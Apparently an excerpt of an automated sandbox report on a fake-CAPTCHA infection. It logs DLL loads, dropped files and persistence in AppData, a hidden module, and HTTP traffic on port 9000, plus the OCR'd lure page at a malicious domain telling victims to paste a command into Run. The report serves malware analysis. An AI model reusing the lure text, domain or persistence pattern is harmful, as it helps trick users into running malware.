Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	Section loaded: cdlmso.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	Section loaded: pla.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	Section loaded: tdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Users\user\AppData\Local\Temp\MaxiAir\msvcr90.dll

Jump to behavior

Source:	Binary string: t:\ois\x64\ship\0\oisapp.pdb source: AUpdate.exe, 0000000F.00000002.1732986490.00007FFF15A51000.00000020.00000001.01000000.0000000B.sdmp, OISAPP.DLL.15.dr, OISAPP.DLL.13.dr
Source:	Binary string: x64\ship\0\msocf.dll\bbtopt\msocfO.pdb source: AUpdate.exe, 0000000F.00000002.1735743667.00007FFF3BF81000.00000020.00000001.01000000.0000000C.sdmp, MSOCF.DLL.13.dr, MSOCF.DLL.15.dr
Source:	Binary string: t:\cdl\x64\ship\0\cdlmso.pdb64\ship\0\cdlmso.dll\bbtopt\cdlmsoO.pdb source: AUpdate.exe, 0000000F.00000002.1731035387.00007FFF15961000.00000020.00000001.01000000.0000000E.sdmp
Source:	Binary string: t:\cdl\x64\ship\0\cdlmso.pdb source: AUpdate.exe, 0000000F.00000002.1731035387.00007FFF15961000.00000020.00000001.01000000.0000000E.sdmp, CDLMSO.DLL.13.dr, CDLMSO.DLL.15.dr
Source:	Binary string: 64\ship\0\cdlmso.dll\bbtopt\cdlmsoO.pdb source: AUpdate.exe, 0000000F.00000002.1731035387.00007FFF15961000.00000020.00000001.01000000.0000000E.sdmp, CDLMSO.DLL.13.dr, CDLMSO.DLL.15.dr
Source:	Binary string: t:\ois\x64\ship\0\ois.pdbs\x64\ship\0\ois.exe\bbtopt\oisO.pdbX% source: AUpdate.exe.13.dr
Source:	Binary string: 64\ship\0\oisapp.dll\bbtopt\oisappO.pdb source: AUpdate.exe, 0000000F.00000002.1732986490.00007FFF15A51000.00000020.00000001.01000000.0000000B.sdmp, OISAPP.DLL.15.dr, OISAPP.DLL.13.dr
Source:	Binary string: s\x64\ship\0\ois.exe\bbtopt\oisO.pdb source: AUpdate.exe, 0000000F.00000000.1648580528.00007FF7866B1000.00000020.00000001.01000000.0000000A.sdmp, AUpdate.exe.13.dr
Source:	Binary string: t:\ois\x64\ship\0\oisgraph.pdb source: AUpdate.exe, 0000000F.00000002.1732206889.00007FFF159F1000.00000020.00000001.01000000.0000000D.sdmp, OISGRAPH.DLL.15.dr, OISGRAPH.DLL.13.dr
Source:	Binary string: t:\ois\x64\ship\0\ois.pdb source: AUpdate.exe, 0000000F.00000000.1648580528.00007FF7866B1000.00000020.00000001.01000000.0000000A.sdmp, AUpdate.exe.13.dr
Source:	Binary string: ntdll.pdb source: AUpdate.exe, 0000000F.00000002.1720111833.0000000009623000.00000004.00000020.00020000.00000000.sdmp, AUpdate.exe, 0000000F.00000002.1723922796.0000000009A20000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: msvcr90.amd64.pdb source: msvcr90.dll.15.dr, msvcr90.dll.13.dr
Source:	Binary string: wntdll.pdbUGP source: cmd.exe, 00000010.00000002.1921634354.00000000052B0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1915972802.0000000004DDA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: AUpdate.exe, 0000000F.00000002.1720111833.0000000009623000.00000004.00000020.00020000.00000000.sdmp, AUpdate.exe, 0000000F.00000002.1723922796.0000000009A20000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: cmd.exe, 00000010.00000002.1921634354.00000000052B0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1915972802.0000000004DDA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: t:\ois\x64\ship\0\oisapp.pdb64\ship\0\oisapp.dll\bbtopt\oisappO.pdb source: AUpdate.exe, 0000000F.00000002.1732986490.00007FFF15A51000.00000020.00000001.01000000.0000000B.sdmp, OISAPP.DLL.15.dr, OISAPP.DLL.13.dr
Source:	Binary string: t:\msocf\x64\ship\0\msocf.pdbx64\ship\0\msocf.dll\bbtopt\msocfO.pdb source: AUpdate.exe, 0000000F.00000002.1735743667.00007FFF3BF81000.00000020.00000001.01000000.0000000C.sdmp, MSOCF.DLL.13.dr, MSOCF.DLL.15.dr
Source:	Binary string: t:\cdl\x64\ship\0\cdlmso.pdb64\ship\0\cdlmso.dll\bbtopt\cdlmsoO.pdb@ source: CDLMSO.DLL.13.dr, CDLMSO.DLL.15.dr
Source:	Binary string: t:\ois\x64\ship\0\ois.pdbs\x64\ship\0\ois.exe\bbtopt\oisO.pdb source: AUpdate.exe, 0000000F.00000000.1648580528.00007FF7866B1000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: t:\msocf\x64\ship\0\msocf.pdb source: AUpdate.exe, 0000000F.00000002.1735743667.00007FFF3BF81000.00000020.00000001.01000000.0000000C.sdmp, MSOCF.DLL.13.dr, MSOCF.DLL.15.dr
Source:	Binary string: t:\ois\x64\ship\0\oisgraph.pdb\ship\0\oisgraph.dll\bbtopt\oisgraphO.pdb source: AUpdate.exe, 0000000F.00000002.1732206889.00007FFF159F1000.00000020.00000001.01000000.0000000D.sdmp, OISGRAPH.DLL.15.dr, OISGRAPH.DLL.13.dr
Source:	Binary string: \ship\0\oisgraph.dll\bbtopt\oisgraphO.pdb source: AUpdate.exe, 0000000F.00000002.1732206889.00007FFF159F1000.00000020.00000001.01000000.0000000D.sdmp, OISGRAPH.DLL.15.dr, OISGRAPH.DLL.13.dr

Source: OISGRAPH.DLL.15.dr	Static PE information: real checksum: 0x5e9ce should be: 0x5c2e9
Source: bihsngcs.16.dr	Static PE information: real checksum: 0x0 should be: 0xc70ce
Source: OISGRAPH.DLL.13.dr	Static PE information: real checksum: 0x5e9ce should be: 0x5c2e9

Source: msvcr90.dll.13.dr	Static PE information: section name: text
Source: msvcr90.dll.15.dr	Static PE information: section name: text

Source: bihsngcs.16.dr

Static PE information: section name: .text entropy: 6.939580019961048

Persistence and Installation Behavior

Detect drive by download via clipboard copy & paste

Source: screenshot	OCR Text: x e about:blank X Captcha Verifycation cta.berlmember.com/google/captcha.html Robot or human? Check the box to confirm that you're human. Thank You! I'm not a robot reCAPTCHA Verification Steps 1 Press Windows Button "Windows" 2. Press CTRL + V 3. Press Enter x Run Type the name of a program, folder, document or Internet resource, and Windows will open It for you. Open: 1424 ENG p Type here to search SG 27/02/2025
Source: screenshot	OCR Text: x e about:blank X Captcha Verifycation cta.berlmember.com/google/captcha.html Robot or human? Check the box to confirm that you're human. Thank You! I'm not a robot reCAPTCHA Verification Steps 1 Press Windows Button "Windows" 2. Press CTRL + V 3. Press Enter 1424 ENG p Type here to search SG 27/02/2025
Source: Chrome DOM: 1.2	OCR Text: Robot or human? Check the box to confirm that you're human. Thank You! I'm not a robot reCPTCHA Verification Steps 1 Press Windows Button "Windows" 2. Press CTRL + V 3. Press Enter
Source: screenshot	OCR Text: x e about:blank X Captcha Verifycation cta.berlmember.com/google/captcha.html Robot or human? Check the box to confirm that you're human. Thank You! c I'm not a robot reCAPTCHA Verification Steps 1 Press Windows Button "Windows" 2. Press CTRL + V 3. Press Enter 1424 ENG p Type here to search SG 27/02/2025

Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	File created: C:\Users\user\AppData\Roaming\HZ_service\msvcr90.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	File created: C:\Users\user\AppData\Roaming\HZ_service\MSOCF.DLL	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\bihsngcs	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\MaxiAir\OISGRAPH.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	File created: C:\Users\user\AppData\Roaming\HZ_service\OISGRAPH.DLL	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	File created: C:\Users\user\AppData\Roaming\HZ_service\CDLMSO.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\MaxiAir\OISAPP.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\MaxiAir\CDLMSO.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\MaxiAir\MSOCF.DLL	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	File created: C:\Users\user\AppData\Roaming\HZ_service\OISAPP.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\MaxiAir\msvcr90.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\bihsngcs

Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Windows\SysWOW64\cmd.exe

Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\BIHSNGCS

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 52670 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52670
Source: unknown	Network traffic detected: HTTP traffic on port 52671 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52671
Source: unknown	Network traffic detected: HTTP traffic on port 52672 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52672
Source: unknown	Network traffic detected: HTTP traffic on port 52673 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52673
Source: unknown	Network traffic detected: HTTP traffic on port 52674 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52674
Source: unknown	Network traffic detected: HTTP traffic on port 52675 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52675
Source: unknown	Network traffic detected: HTTP traffic on port 52676 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52676
Source: unknown	Network traffic detected: HTTP traffic on port 52677 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52677
Source: unknown	Network traffic detected: HTTP traffic on port 52678 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52678
Source: unknown	Network traffic detected: HTTP traffic on port 52679 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52679
Source: unknown	Network traffic detected: HTTP traffic on port 52680 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52680
Source: unknown	Network traffic detected: HTTP traffic on port 52681 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52681
Source: unknown	Network traffic detected: HTTP traffic on port 52682 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52682
Source: unknown	Network traffic detected: HTTP traffic on port 52683 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52683
Source: unknown	Network traffic detected: HTTP traffic on port 52684 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52684
Source: unknown	Network traffic detected: HTTP traffic on port 52685 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52685
Source: unknown	Network traffic detected: HTTP traffic on port 52686 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52686
Source: unknown	Network traffic detected: HTTP traffic on port 52687 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52687
Source: unknown	Network traffic detected: HTTP traffic on port 52688 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52688
Source: unknown	Network traffic detected: HTTP traffic on port 52689 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52689
Source: unknown	Network traffic detected: HTTP traffic on port 52690 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52690
Source: unknown	Network traffic detected: HTTP traffic on port 52691 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52691
Source: unknown	Network traffic detected: HTTP traffic on port 52692 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52692
Source: unknown	Network traffic detected: HTTP traffic on port 52693 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52693
Source: unknown	Network traffic detected: HTTP traffic on port 52694 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52694
Source: unknown	Network traffic detected: HTTP traffic on port 52695 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52695
Source: unknown	Network traffic detected: HTTP traffic on port 52696 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52696
Source: unknown	Network traffic detected: HTTP traffic on port 52697 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52697
Source: unknown	Network traffic detected: HTTP traffic on port 52698 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52698
Source: unknown	Network traffic detected: HTTP traffic on port 52699 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52699
Source: unknown	Network traffic detected: HTTP traffic on port 52700 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52700
Source: unknown	Network traffic detected: HTTP traffic on port 52701 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52701
Source: unknown	Network traffic detected: HTTP traffic on port 52702 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52702
Source: unknown	Network traffic detected: HTTP traffic on port 52703 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52703
Source: unknown	Network traffic detected: HTTP traffic on port 52704 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52704
Source: unknown	Network traffic detected: HTTP traffic on port 52705 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52705
Source: unknown	Network traffic detected: HTTP traffic on port 52706 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52706
Source: unknown	Network traffic detected: HTTP traffic on port 52707 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 52707

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
